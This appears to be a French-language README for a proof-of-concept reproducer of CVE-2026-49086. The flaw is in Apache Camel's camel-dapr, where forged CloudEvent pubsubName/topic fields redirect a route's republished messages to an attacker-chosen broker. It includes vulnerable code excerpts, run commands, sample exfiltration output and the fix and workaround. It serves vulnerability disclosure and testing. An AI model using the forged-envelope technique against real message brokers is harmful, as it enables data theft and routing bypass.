
Reproducteur de PoC pour CVE-2026-49086 démontrant un écrasement d'en-tête de routage de type « confused deputy » dans Apache Camel camel-dapr, permettant la redirection de messages et l'exfiltration de données via des champs CloudEvent non fiables.
Ce projet démontre une faille de remplacement d'en-tête de routage (député confus) dans le composant camel-dapr
d'Apache Camel, suivie sous la référence CVE-2026-49086.
Le consommateur Dapr pub/sub (DaprPubSubConsumer) copie des champs du CloudEvent entrant (non fiable) dans
les en-têtes des messages Exchange. Deux d'entre eux — pubsubName et topic — sont des en-têtes de routage
orientés producteur (CamelDaprPubSubName / CamelDaprTopic). Lorsque la même route publie ensuite avec un
producteur dapr:pubSub, DaprConfigurationOptionsProxy privilégie une valeur d'en-tête par rapport à la
valeur configurée du point de terminaison. Ainsi, l'enveloppe entrante, contrôlée par un expéditeur de messages
non fiable, remplace silencieusement la destination de republication de la route :
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // endpoint config (e.g. audit-broker/audit-log)
: exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent
Dans une route qui consomme d'un sujet et republie vers un autre (un schéma courant d'audit/transfert/fan-out),
un acteur pouvant publier sur le sujet souscrit définit le pubsubName/topic du CloudEvent et redirige
le message republié vers un composant Dapr pub/sub + un sujet arbitraires — exfiltrant la charge utile vers un
courtier accessible à l'attaquant, ou contournant le routage/les ACL prévus. C'est un député confus : l'application
republie avec ses propres identifiants Dapr vers une destination choisie par l'attaquant.
Cette preuve de concept (PoC) démontre l'impact comme une redirection de messages / exfiltration de données (CWE-441, issue de CWE-20).
Avis de sécurité : https://camel.apache.org/security/CVE-2026-49086.html
| Propriété | Valeur |
|---|---|
| Composant | camel-dapr |
| Classe affectée | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer (définit les en-têtes PUBSUB_NAME/TOPIC à partir du CloudEvent entrant) |
| CWE | CWE-20 (Validation d'entrée incorrecte) / CWE-441 (Proxy involontaire / Député confus) |
| Impact | Rediriger le message republié vers un composant Dapr pub/sub + un sujet arbitraires (exfiltration / contournement du routage et des ACL) |
| Conditions préalables | Une route consomme d'un sujet dapr:pubSub et republie via un producteur dapr:pubSub ; l'attaquant peut publier sur le sujet souscrit |
| Versions affectées | 4.12.0 à 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23630 (PR apache/camel#23886) |
| Crédit | Leon Zlobecki |
Le correctif empêche le consommateur de définir les deux en-têtes de routage (
CamelDaprPubSubName/CamelDaprTopic) ; les autres en-têtes de métadonnées du CloudEvent restent inchangés. Le producteur utilise alors toujours le pub/sub + le sujet configurés sur le point de terminaison. (UneDaprHeaderFilterStrategya également été ajoutée pour la cohérence du catalogue, mais la modification des en-têtes de routage est le correctif effectif.)
La vulnérabilité réside entièrement dans Camel — le consommateur copie CloudEvent.pubsubName/topic dans les
en-têtes de routage, et le producteur privilégie ces en-têtes. Le sidecar Dapr n'est que transport. Ce reproducteur
injecte des clients SDK Dapr simulés (mock) (client=#mockClient, previewClient=#mockPreview) afin que les
vrais DaprPubSubConsumer et DaprPubSubHandler s'exécutent inchangés sans sidecar : le client preview simulé
capture l'écouteur d'abonnement, et le client simulé enregistre la cible de publication. Le pilote de l'attaquant
délivre ensuite un CloudEvent forgé à l'écouteur capturé — exactement ce que déclenche un expéditeur capable de
publier sur le sujet souscrit.
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
L'auteur entend que chaque commande soit répliquée vers le flux fixe audit-broker/audit-log. Mais comme le
consommateur copie le pubsubName/topic de l'enveloppe entrante dans les en-têtes de routage, le producteur
d'audit publie vers ce que nomme l'enveloppe — jamais vers le flux d'audit configuré.
Tout s'exécute dans un seul conteneur autonome.
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
│ ├── PublishRecorder.java # records where the producer actually published
│ ├── SubscriptionRegistry.java # captures the consumer's subscription listener
│ ├── VictimRoutes.java # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
│ └── ExploitController.java # attacker: deliver forged CloudEvents; compare publish target
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===
Route intent: mirror every order to a FIXED audit stream
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
audit copy actually published to: orders-broker / orders
-> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.
2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
audit copy actually published to: attacker-broker / exfil-secrets
leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true
Mettez à niveau vers 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630). Après le correctif, le consommateur ne définit plus
CamelDaprPubSubName / CamelDaprTopic, de sorte qu'un producteur dapr:pubSub en aval d'un consommateur dapr:pubSub
utilise son composant pub/sub et son sujet configurés sur le point de terminaison.
En attendant la mise à niveau, supprimez les en-têtes de routage entre le consommateur et tout producteur dapr:pubSub
de la route (par exemple removeHeaders("CamelDaprPubSubName,CamelDaprTopic")), et définissez le pub/sub + le sujet
de republication depuis une source fiable.